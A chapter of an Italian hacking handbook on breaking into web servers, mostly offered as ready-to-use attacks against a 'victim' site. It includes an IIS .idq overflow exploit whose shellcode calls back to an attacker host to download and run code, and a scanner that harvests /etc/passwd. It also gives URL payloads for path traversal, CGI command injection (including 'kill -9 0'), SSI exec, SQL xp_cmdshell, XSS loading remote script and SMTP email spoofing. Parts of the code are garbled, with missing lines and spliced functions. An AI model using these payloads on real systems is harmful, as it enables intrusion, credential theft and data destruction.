HackerProgrammingBook Part 08
HackerProgrammingBook Part 08
Lhacking reale
http://vittima.com/iissamples/issamples/oop/qfullhit.htw?
CiWebHitsFile=/../../winnt/repair/setup.log&CiRestriction=none&CiHiliteType=Full
In questo caso lexploit dipende dal fatto che siano installati gli esempi opzionali di IIS.
Qualsiasi richiesta utilizzante null.htw occupa webhits.dll.
Questa dll fonte di molti problemi dentro ai sistemi IIS.
Come abbiamo detto prima la DLL fa parte di Microsoft Indexing Services il quale viene
installato di default sotto Windows 2000 anche se poi di fatto questo non parte se non viene
appositamente attivato.
Quando attivato questo servizio estende IIS tramite questa dll che di fatto si attiene alla
metodologia ISAPI.
La sua attivazione dipendente dalla richiesta del file con estensione .HTW, come abbiamo
visto nellesempio di prima.
Il primo esempio non funziona sulle versioni di IIS 5 mentre il secondo esempio visto dipende
dallinstallazione degli esempi.
Una terza metodologia dattacco invece utilizza un sistema definito con il termine di buffer
truncation.
Questo funziona appendendo una richiesta di un file valido ad un grosso numero di spazi
(%20) ed un file .HTW.
Facciamo un esempio usando il file che viene utilizzato per segnalare il sito in costruzione.
Questo file presente nella root directory di IIS 5 e si chiama iistart.asp
Mediante netcat o telnet aperto su un certo indirizzo e sulla porta 80 digitate :
GET /iistart.asp
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20 [ 221 %20 ]
%20%20%20%20.htw&CiWebHitsFile=/exair5/siteadmin/default.asp&CiRestriction=none&Ci
HiliteType=Full HTTP/1.0
Esiste in circolazione una piccola utility chiamata IISCAT che svolge questa funzione di
inserire la stringa.
Luso di IISCAT come segue :
c:\>iiscat /exair5/siteadmin/default.asp /iissatrt.asp | nc vv vittima.com 80
Anche in questo caso stato viene utilizzato il pipe per collegare loutput con netcat.
Supponiamo di richiedere da browser un file con un nome inventato che possegga come
estensione .IDQ oppure .IDA.
Ad esempio potremmo richiedere :
http://www.websitek.com/pippo.idq
Il server se non stato settato in modo tale da non dare risposta, risponder con il messaggio
:
The IDQ file c:\inetpub\wwwroot\pippo.idq could not be found.
In questo modo saremo in grado di conoscere il percorso di dove si trovano I files del WEB
interrogato.
Se lamministratore di sistema ha settato il flag Check that file exist allora le informazioni non
verranno visualizzate per cui questo di fatto non un bugs vero e proprio ma semplicemente
un difetto di settaggio di IIS.
Informazioni varie possono essere anche mostrate dal server IIS nel caso in cui vengano
specificati files con estensione .IDA
Lo stesso capita specificando al termine dellURL il file con estensione .IDC.
Lo stereotipo di risposta data realtiva al percorso visualizzato di fatto :
%documentroot%\<nome file>.idc
Un esempio di risposta in questo caso potrebbe essere :
Cannot open c:\inetpub\wwwroot\index.html.idc
Di fatto esistono almeno una dozzina di files che creano lo stesso problema.
In alcuni casi la pericolosit dipende da componenti che i vari servers caricano in memoria
per la gestione di determinate funzionalit.
Microsoft tra le sue metodologie gestionali possiede quelle chiamate con il termine di IISAPI
ovvero una serie di DLL ciascuna delle quali viene utilizzata per la gestione di files con
particolari estensioni.
Tra queste ad esempio ne esiste una chiamata IDQ.DLL la quale fornisce due particolari
funzioni e precisamente il supporto per gli script di amministrazione (files .ida) e quello
definito Internet Data Queries (files .idq)
Questa DLL possiede una vulnerabilit legata ad un buffer non controllato nella parte di
codice che gestisce linserimento dell URL.
Per stabilire una sessione WEB con il server possibile utilizzare questo problema.
IDQ.DLL viene eseguita in un contesto di sistema per cui lesecuzione del exploit permette
allattaccante di avere il completo possesso del sistema.
Il buffer overrun capita quando viene richiesta un funzionalit di indicizzazione.
Come risultato, visto che IDQ.DLL una parte del servizio di Server/Indexing
Il seguente codice testa la vulnerabilit :
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21
code flow:
overrun -> jmp or call ebx -> jmp 8 ->
check shellcode addr and jump to there ->
shellcode -> make back channel -> download & exec code
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define
#define
#define
#define
#define
#define
#define
<signal.h>
<sys/types.h>
<sys/socket.h>
<sys/ioctl.h>
<sys/time.h>
<sys/wait.h>
<errno.h>
<unistd.h>
<fcntl.h>
<netinet/in.h>
<limits.h>
<netdb.h>
<arpa/inet.h>
RET 0x77e516de /* jmp or call ebx */
GMHANDLEA 0x77e56c42 /* Address of GetModuleHandleA */
GPADDRESS 0x77e59ac1 /* Address of GetProcAddress */
GMHANDLEA_OFFSET 24
GPADDRESS_OFFSET 61
OFFSET 234 /* exception handler offset */
NOP 0x41
#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
#define PORT 80
#define ADDR "attacker.mydomain.co.jp"
#define PORT_OFFSET 115
#define ADDR_OFFSET 120
unsigned char shellcode[]=
"\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0"
"\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50"
"\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88"
"\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB"
"\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8"
"\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0"
"\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66"
"\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11"
#if MASKING
"\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41"
#endif
"\x8B\x46\xF8\xFF\xD0\x33\xC0"
"\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07"
"\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0"
"\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B"
"\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46"
"\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0"
"\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0";
unsigned char storage[]=
"\xEB\x02"
"\xEB\x4E"
"\xE8\xF9\xFF\xFF\xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
unsigned char forwardjump[]=
"%u08eb";
unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;
memcpy(&ip,he->h_addr,4);
}
return ip;
target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;
local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
perror("bind");
close(lsock);
exit(1);
}
if(listen(lsock,1)<0)
{
perror("listen");
close(lsock);
exit(1);
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=EINTR)
{
perror("accept");
close(lsock);
exit(1);
}
else
goto retry;
}
close(lsock);
return csock;
}
int main(int argc,char *argv[])
{
int i,j,s,pid;
unsigned int cb;
unsigned short port;
char *p,buf[512],buf2[512],buf3[2048];
FILE *fp;
if(argc!=3)
{
printf("usage: $ %s ip file\n",argv[0]);
return -1;
}
if((fp=fopen(argv[2],"rb"))==0)
return -2;
if(!(cb=resolve(ADDR)))
return -3;
if((pid=fork())<0)
return -4;
if(pid)
{
fclose(fp);
s = make_connection(argv[1],80);
if(s<0)
{
printf("connect error:[%d].\n",s);
kill(pid,SIGTERM);
return -5;
}
j = strlen(shellcode);
*(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;
*(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;
port = htons(PORT);
#if MASKING
port ^= PORTMASK;
cb ^= ADDRMASK;
*(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;
*(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;
#endif
*(unsigned short *)&shellcode[PORT_OFFSET] = port;
s = get_connection(PORT);
j = 0;
while((i=fread(buf,1,sizeof(buf),fp)))
{
write(s,buf,i);
j += i;
printf(".");
fflush(stdout);
}
fclose(fp);
printf("\n%d bytes send...\n",j);
shutdown(s,2);
close(s);
return 0;
}
Il file PHF
Come abbiamo appena detto il file PHF server a gestire laggiornamento di un indirizzario di
numeri telefonici.
Luso anomale del comando potrebbe in un sistema Unix portare a vedere il contenuto di un
file come potrebbe essere quello degli utenti ovvero passwd.
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Il seguente scanner ricerca sistemi che possiedano il problema legato a PHF.
/*
phfscan.c
June, 1996
By Alhambra
[email protected]
A production of The Guild Corporation, 1996
A quick hack to make scanning for hosts which still have the phf bug.
Accepts hosts to scan from stdin, and writes whatever it gets back to
stdout. Plenty of room for optimization, and features that could be
added include forking off multiple copies for concurrent scans, etc,
etc.
Do it yourself...that's how you learn.
The effectiveness of this program for getting password files isn't
what it once was...we see only around a 30% success ratio at getting
/etc/passwd from hosts that would have been vulnerable once upon a
time.
But that's still something...
Use:
phfscan < infile > outfile
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h>
#ifdef LINUX
#include <sys/time.h>
#endif
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>
int FLAG = 1;
int Call(int signo)
{
FLAG = 0;
}
main (int argc, char *argv[])
{
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int outsocket, serv_len, len,X,c,outfd;
struct hostent *nametocheck;
struct sockaddr_in serv_addr;
struct in_addr outgoing;
char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\n";
/* yp version...use as needed...*/
/* char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat
%20passwd\n";*/
while(fgets(hosta,100,stdin))
{
if(hosta[0] == '\0')
break;
hosta[strlen(hosta) -1] = '\0';
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,"\n",sizeof(char));
outsocket = socket (AF_INET, SOCK_STREAM, 0);
memset (&serv_addr, 0, sizeof (serv_addr));
serv_addr.sin_family = AF_INET;
nametocheck = gethostbyname (hosta);
/* Ugly stuff to get host name into inet_ntoa form */
(void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],
sizeof (outgoing.s_addr));
strcpy (host, inet_ntoa (outgoing));
serv_addr.sin_addr.s_addr = inet_addr (host);
serv_addr.sin_port = htons (80);
signal(SIGALRM,Call);
FLAG = 1;
alarm(10);
X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof
(serv_addr));
alarm(0);
if(FLAG == 1 && X==0){
write(outsocket,PHFMessage,strlen(PHFMessage)*sizeof(char));
while((X=read(outsocket,FileBuf,8096))!=0)
write(1,FileBuf,X);
}
close (outsocket);
}
return 0;
}
test-cgi
Un altro file che spesso viene dimenticato allinterno dei WEB Server un CGI che serve a
testare che le variabili dambiente ede altre informazioni vengano passate correttamente alle
query.
http://thegnome.com/cgi-bin/test-cgi?\whatever
La risposta potrebbe essere :
CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
Luso del carattere 0a pu essere utilizzato allinterno di questo comando per fargli eseguire
altre cose.
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
I seguenti comandi possono listare i files dentro alla directory CGI-BIN.
http://thegnome.com/cgi-bin/test-cgi?* HTTP/1.0
http://thegnome.com/cgi-bin/test-cgi?x *
http://thegnome.com/cgi-bin/nph-test-cgi?* HTTP/1.0
http://thegnome.com/cgi-bin/nph-test-cgi?x *
Il carattere ~
Il carattere ~ viene usato durante il processo di risoluzione di un URL dal server.
Durante il settaggio del WEB lamministratore pu definire una UserDir del tipo /public_html/
in modo che il carattere ~ sostituisca tutto il nome della directory quando questa viene
richiesta.
Alcuni server Unix che non hanno una directory /public_html/ tentano di risolvere la home
directory listata dentro a /etc/passwd.
La seguente URL fornisce delle informazioni interessanti:
http://thegnome.com/~root
Se il server non bloccato questa URL vi permette di accedere alla dircetory ROOT per cui
diventa possibile accedere a qualsiasi file pubblico.
http://thegnome.com/~root/etc/passwd
In altre parole esiste un particolare statement che permette di includere del codice dentro a
delle pagine e precisamente :
<!--
-->
Ora supponiamo di aver scritto dentro al libro degli ospiti il nostro nome.
La successiva visualizzazione della pagina ci mostrer questo.
Se invece del nome avessimo scritto uno dei seguenti statement :
<!--#exec
<!--#exec
<!--#exec
<!--#exec
<!--#exec
Una variazione del comando, che per altro avrebbe richiesto lesecuzione del comando ls in
ambiente Unix, potrebbe essere :
http://www.websitek.it/cgi-bin/prova.cgi?page=../../../bin/ls%20-al
%20/etc|
Il comando richiederebbe il listato della directory /etc
Il carattere ; permette di eseguire pi comandi su una sola riga in ambiente Unix.
Ad esempio :
#id;uname a
Un altro carattere che potrebbe indurre alla creazione di problemi con i WEB il carattere
apicetto ( ).
Questo crea problemi in particolar modo quando la stringa che lo contiene indirizzata ad un
database in quanto questo possiede per i sistemi SQL un significato particolare.
Facciamo un esempio :
http://host/cgi-bin/lame.asp?nome=Flavio;EXEC master.dbo.xp_cmdshallcmd.exe dir
I caratteri / possono anche loro costituire un problema per i WEB ma se dati con NETCAT.
Ricordiamoci che molti Browser il filtraggio di certi caratteri non lasciandoli passare per cui
certi tipi di test devono essere condotti con programmi come NC che eseguono la scrittura in
modalit RAW sulla porta del protocollo http.
Un esempio potrebbe esser :
http://www.host.com////////////////////////////////////////////////////////////////////////////////////////////////7
Questa richiesta eseguirebbe la directory sul sistema di destinazione.
Un altro exploit molto recente ancora utilizzabile su molti sistemi il seguente :
http://<img%09src=""%09onerror="document.scripts[0].src=%27http%5Cx3a%5Cx2f%
5Cx2fjscript.dk%5Cx2ftest.js%27;">[email protected]/SomeNonExistantPath
Dove la richiesta esegue http://jscript.dk/test.js su YOUR.TLD il quale deve avere un
installazione IIS.
I tipi di problemi che possono derivare dalla digitazione di caratteri strani possono essere di
numero esagerato per cui sarebbe meglio tenere un database in modo tale che quando uno
di questi bug viene a galla sar sufficiente aggiungere a questo il tutto.
Facendo in questo modo la successiva volta che si cerca di testare un sistema possibile
farlo automaticamente ripetendo la stessa procedura che magari stata eseguita gi un
numero grosso di volte.
Mi sembra inutile dire che in ogni caso esistono gi programmi in circolazione che tra le altre
funzioni che svolgono eseguono anche i test indirizzati ai WEB Servers.
In altri capitoli avevamo visto RETINA.
In questi software esiste il vantaggio che i database dei problemi vengono gestiti dalle case
che hanno creato il pachetto.
Sulla rete esistono alcuni programmi scritti in Perl adatti a testare tutti i problemi con i WEB.
Uno di questi :
-- whisker / v1.4.0 / rain forest puppy / www.wiretrip.net --n+
-h+
-H+
-F+
-s+
-V
-p+
-S+
-u+
-i
-v
-d
-W
-l+
-a+
-P+
-I
-I
-I
-I
-I
-I
-I
-I
-I
-I
1
2
3
4
5
6
7
8
9
0
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
-M
-M
-M
-M
1
2
3
4
use
use
use
use
mode
mode
mode
mode
mode
mode
mode
mode
mode
mode
1
2
3
4
5
6
7
8
9
0
(URL encoding)
(/./ directory insertion)
(premature URL ending)
(long URL)
(fake parameter)
(TAB separation) (not NT/IIS)
(case sensitivity)
(Windows delimiter)
(session splicing) (slow)
(NULL method)
+ requires parameter;
|| version 1.4.0
server (xerox)
print - This seems to be a printer.
exit
endserver
server (printer)
print - This seems to be a printer.
exit
endserver
server (cisco ios technologies)
print - This seems to be a Cisco Catalyst switch.
exit
endserver
server (cisco)
exit
endserver
server (apache/1.0.3)
print - Apache 1.0.3 is used in Xerox printers
print - (i.e. this could be just a printer)
endserver
server (agranat-emweb)
print - Agranat's embedded webserver; http://www.agranat.com
print - The authentication realm is sometimes the product name
endserver
.. e cosi via.
Chiaramente certe possibilit di attacco sono offerte dai software che girano su certe
macchine e altre volte dai linguaggi come ad esempio Java.
Il discorso dei linguaggi potrebbe essere molto ampio in quanto se il problema risiede dentro
ad una libreria questo potrebbe essere tramandato a tutti i programmi compilati e linkati a
quella.
Un caso molto famoso era stato, e i molti casi lo ancora, quello relativo alla libreria
standard del c in ambiente Unix LIBC.
Una delle funzioni interne legate allinput era passibile di buffer overflow per cui tutti i
programmi compilati con questa LIBC erano in possesso dello stesso bug, ereditato dalla
libreria stessa.
In altri casi i linguaggi possono permettere exploits legati ad esempio al controllo trasversale.
Ne lesempio i Servlet JAVA con i quali un carattere NULL (Null-Byte \000 | %00) pu
servire, se usato allinterno di un input da parte dellutente usato direttamente con funzioni del
tipo di "File" e "RandomAccessFile potrebbe servire ad aprire files in modo arbitrario.
Ad esempio :
http://www.websitek.com/servlet/ShowContent?c=../../../../../etc/passwd%00
Anche i caratteri "." ".." e "..." possono essere utilizzati nella composizione di URL da passare
attrvarso il browser.
Ad esempio :
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
La stringa di prima viene utilizzata con il "Message Of The Day" per ricavare determinate
informazioni legate allacquisizione di certi privilegi.
Il carattere ! viene utilizzato contro i sistemi SSI(Server Side Include).
Un esempio :
http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html"-->
Questo solo un esempio di quello che un attaccante pu fare ovvero includere un file da
host2 e fare in modo che questo sembri apparire da host1.
Altri esempi per fare vedere come dei dati di fatto arrivano da un'altra destinazione sono :
http://host/search/search.cgi?query=< img%20src=http://host2/fake-article.jpg>
http://host/something.php?q=< img%20src=javascript:something-wicked-this-way-comes>
Il carattere pu essere anche mascherato in esadecimale.
Questo pu anche essere utilizzato per eseguire comandi :
http://host/something.php=<!%20#<!--#exec%20cmd="id"-->
"ps"
Si tratta del comando PRINT STATUS di Unix che mostra lo stato dei processi.
http://host/cgi-bin/bad.cgi?doh=../../../../bin/ps%20-aux|
http://host/cgi-bin/bad.cgi?doh=ps%20-aux;
"kill e killall"
Serve a killare un processo o tutti I processi sotto Unix.
http://host/cgi-bin/bad.cgi?doh=../bin/kill%20-9%200|
http://host/cgi-bin/bad.cgi?doh=kill%20-9%200;
"uname"
Richiede il nome host.
http://host/cgi-bin/bad.cgi?doh=../../../../bin/uname%20-a|
http://host/cgi-bin/bad.cgi?doh=uname%20-a;
"cc, gcc, perl, python"
Anche I linguaggi possono essere utilizzati allinterno delle stringhe di comando passate
tramite URL.
http://host/cgi-bin/bad.cgi?doh=../../../../bin/cc%20Phantasmp.c|
http://host/cgi-bin/bad.cgi?doh=gcc%20Phantasmp.c;./a.out%20-p%2031337;
"mail"
Con NETCAT o con TELNET possono essere usate delle tecniche legate a degli header
modificati.
Esempio 1:
su-2.05# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
Referer: <!--#virtual include="somefile.log"-->
spelt wrong)
User-Agent: <!--#exec cmd="/bin/id"-->
(Yes Referrer is
In questo caso lattaccante inserisce un TAG SSI dentro ai campi Referrer e User agent
Esempio 2:
su-2.05# telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
GET / HTTP/1.0
Referer: < javascript-that-is-evil-so-there's-no-need-for-examples>
User-Agent: </html>
I caratteri possono essere anche specificati in formato esadecimale.
Il modo di specificarli :
Esempio: %xx
%2e = . (Example:
%3e = > (Example:
%3c = < (Example:
%2a = * (Examples
%2b = + (Example:
%60 = ` (Examples
%21 = ! (Example:
%7c = | (Example:
%3b = ; (Example:
%7e = ~ (Examples
%3f = ? (Example:
%5c = \ (Example:
%2f = / (Example:
%7b = { (Example:
command argument)
%7d = } (Example:
command argument)
%28 = ( (Example:
%29 = ) (Example:
%5b = [ (Example:
command argument)
%5d = ] (Example:
command argument)
%5e = ^ (Example:
command argument)
.. requests)
Html/Javascript/SSI insertion. Mentioned in last paper)
Html/Javascript/SSI insertion. Mentioned in last paper)
Listed in chapter 2 of this paper)
cmd.exe backdoor request. Also used as space)
Command execution. Mentioned in last paper)
SSI insertion. Mentioned in last paper)
Command execution. Mentioned in last paper)
Command execution. Mentioned in last paper)
Listed in chapter2 of this paper)
Php/Mentioned in last paper)
Possible Encoded Windows Directory Transversal Attempt)
Possible Encoded Unix Directory Transversal Attempt)
Possible trojan/backdoor upload attempt, possible
Possible trojan/backdoor upload attempt, possible
Possible Cross Site Scripting attempt)
Possible Cross Site Scripting attempt)
Possible trojan/backdoor upload attempt, possible
Possible trojan/backdoor upload attempt, possible
Possible trojan/backdoor upload attempt, possible
Esempio:
http://host/script.ext?template=%2e%2e%2f%2e%2e%2f%2e%2e%2f
%65%74%63%2f%70%61%73%73%77%64
Esiste un equivalenza come ad esempio :
1.
2.
3.
4.
%2e%2e%2f%2e%2e%2f%2e%2e%2f = ../../../
%65%74%63 = etc
%2f = /
%70%61%73%73%77%64 = passwd
Esempio: %xx%xx
http://127.0.0.1/scripts/..%c0%af../winnt/system32/cmd.exe?+/c+dir+c:\
http://www.example.com/mytestfile.txt
Eseguiamo questa richiesta 4 volte anche se il server non sembrer darci nulla.
Fate attenzione a non premere REFRESH se no il metodo non funziona.
Battiamo al richiesta sulla linea di comando del nostro browser.
http://www.example.com/<?$fp=fopen("http://nostroweb/mytestfile.txt"," rb");?>
#-----------<?
phpinfo();
?>
#-----------Un attaccante potr eseguire linterprete PHP con :
http://www.example.com/php/php.exe/UPLOAD_DIRECTORY/huh.gif
Sempre in relazione a PHP possibile sapere la struttura relativa allinstallazione del EB
SERVER.
Quando un amministratore installa Apache con PHP e aggiunge index.php al file di
configurazione di Apache, questo prima guarda questo file nellistante in cui invia indietro la
pagina web di default per quella directory.
Inviando una richiesta OPTIONS al WEB Server questo rivela la struttura delle directory di
PHP.
Inviando :
OPTIONS / HTTP/1.1
Host: 192.168.1.2
Accept: */*
Riceverete :
HTTP/1.1 500 Internal Server Error
Date: Sun, 03 Feb 2002 10:56:53 GMT
Server: Apache/2.0.28 (Win32)
Vary: accept-language
Accept-Ranges: bytes
Content-Length: 680
Connection: close
Content-Type: text/html; charset=ISO-8859-1
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML>
<HEAD>
<TITLE>Server error!</TITLE>
<LINK REV="made" HREF="mailto:[email protected]">
</HEAD>
<BODY BGCOLOR="#FFFFFF" TEXT="#000000" LINK="#0000CC">
<H1>Server error!</H1>
<DL>
<DD>
handler "cgi-script" not found for: C:/php/php.exe
</DL><DL><DD>
If you think this is a server error, please contact
the <A HREF="mailto:[email protected]">Webmaster</A>
</DL>
<H2>Error 500</H2>
<DL>
<DD>
<ADDRESS>
<A HREF="/">192.168.1.2</A>
<BR>
<small>02/03/02 10:56:53</small>
<BR>
<small>Apache/2.0.28 (Win32)</small>
</ADDRESS>
</DL>
</BODY>
</HTML>
Chiaramente fino ad adesso abbiamo parlato di qualche cosa che di fatto non pu essere
definita una regola che pu essere applicata a qualsiasi WEB.
Daltra parte il discorso dei WEB segue esattamente quello generale dellhacker ovvero quello
che spinge a cercare i punti deboli di un sistema con tutti gli strumenti a disposizione.
Tra i vari tools che possono essere utilizzati per testare la presenza di determinati problemi
dentro ad un sito specifico c WEBCHK il quale dispone di diverse scelte orientate
allesecuzione di test nei confronti di CGI.
Il programma prelevabile da :
http://www.illegalcrew.org
Il software dispone di possibilit di parametrizzazione anche se di fatto i test devono essere
fatti individualmente.
Nella finestra superiore viene visualizzata la risposta del WEB sottoposto allinvio della stringa
di prova anche se la dialog visualizza gi un messaggio in cui viene detto se il web di fatto
soggetto a quel problema o meno.
Limmagine che segue mostra la dialog di lavoro di WEBCHK.
FrontPage
Molti exploit collegati a FrontPage hanno come scopo quello di permettere laccesso alla
directory wwwroot directory e quindi possono essere usati per cambiare la pagina principale
di un sito.
La seguente lista mostra la struttura di alcuni files di IIS relativamente ad un ipotetico disco C:
C:\InetPub\wwwroot
<Home>
C:\InetPub\scripts
/Scripts
C:\InetPub\wwwroot\_vti_bin
/_vti_bin
C:\InetPub\wwwroot\_vti_bin\_vti_adm
/_vti_bin/_vti_adm
C:\InetPub\wwwroot\_vti_bin\_vti_aut
/_vti_bin/_vti_aut
C:\InetPub\cgi-bin
/cgi-bin
C:\InetPub\wwwroot\srchadm
/srchadm
C:\WINNT\System32\inetserv\iisadmin
/iisadmin
C:\InetPub\wwwroot\_vti_pvt
C:\InetPub\wwwroot\samples\Search\QUERYHIT.HTM
Internet Information Index
Server sample
C:\Program Files\Microsoft FrontPage\_vti_bin
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_aut
C:\Program Files\Microsoft FrontPage\_vti_bin\_vti_adm
C:\WINNT\System32\inetserv\iisadmin\htmldocs\admin.htm /iisadmin/isadmin
Un tentativo che possibile fare indirizzato a vedere se mediante il servizio FTP possibile
scaricare il file.
Email Spoofing
Come abhbiamo detto prima alcuni tipi di problemi dipendono dai linguaggi utilizzati sui WEB
server come ad esempio ASP.
Ne un esempio lemail spoofing legato alluso delle funzioni ASP per linvio di messaggi
Email. tramite CDONTS.NEWMAIL
Infatti moltissime installazioni IIS utilizzano questo oggetto per laddempimento di funzionalit
dinvio di messaggi.
Questo oggetto pu essere utilizzato da un attaccante per inviare messaggi in modo arbitrario
tramite WEB server.
ASP utilizza loggetto CDONTS.NEWMAIL.nel seguente modo :
<%
set objNewMail = CreateObject("CDONTS.Newmail")
objNewMail.From = "[email protected]"
objNewMail.To = Request.QueryString("email")
objNewMail.Subject = "NEWSLETTER"
objNewMail.Body = "Please find attached the newsletter."
objNewMail.AttachFile "c:\newsletter.txt", "mailatt.txt"
objNewMail.Send
%>
La prima linea crea loggetto CDONTS.NEWMAIL mentre le altre settano I parametri relativi
alle propriet utilizate per linvio del messaggio.
Come potete vedere dal codice di prima i parametri vengono letti mediante delle funzioni ASP
del tipo Request.QueryString("email") per cui presupponibile che per linvio di una nuova
email lutente attivi un URL nel seguente modo :
http://www.company.com/[email protected]
I valori verranno settati allinyterno dei parametri nel seguente modo :
..
mail from: [email protected]
rcpt to: [email protected]
data
Subject: NEWSLETTER
..
..
e quindi lemail viene inviata.
Tutta via se si provasse a inviare :
http://www.company.com/[email protected]%0D%0Adata%0D%0ASub
ject:%20Spoofed!%0D%0A%0D%0AHi,%0D%0AThis%20is%20a%20spoofed%20email%0D%0
A.%0D%0Aquit%0D%0A
quit
In questo modo un email verrebbe inviata tramite loggetto NEWMAIL
In alcuni casi potrebbe essere il WEB a creare problemi agli Internet Explorer di chi ci naviga
sopra.
Ad esempio il TAG che segue crea un Denaial of Service (Dos) a chi ci naviga sopra (fate
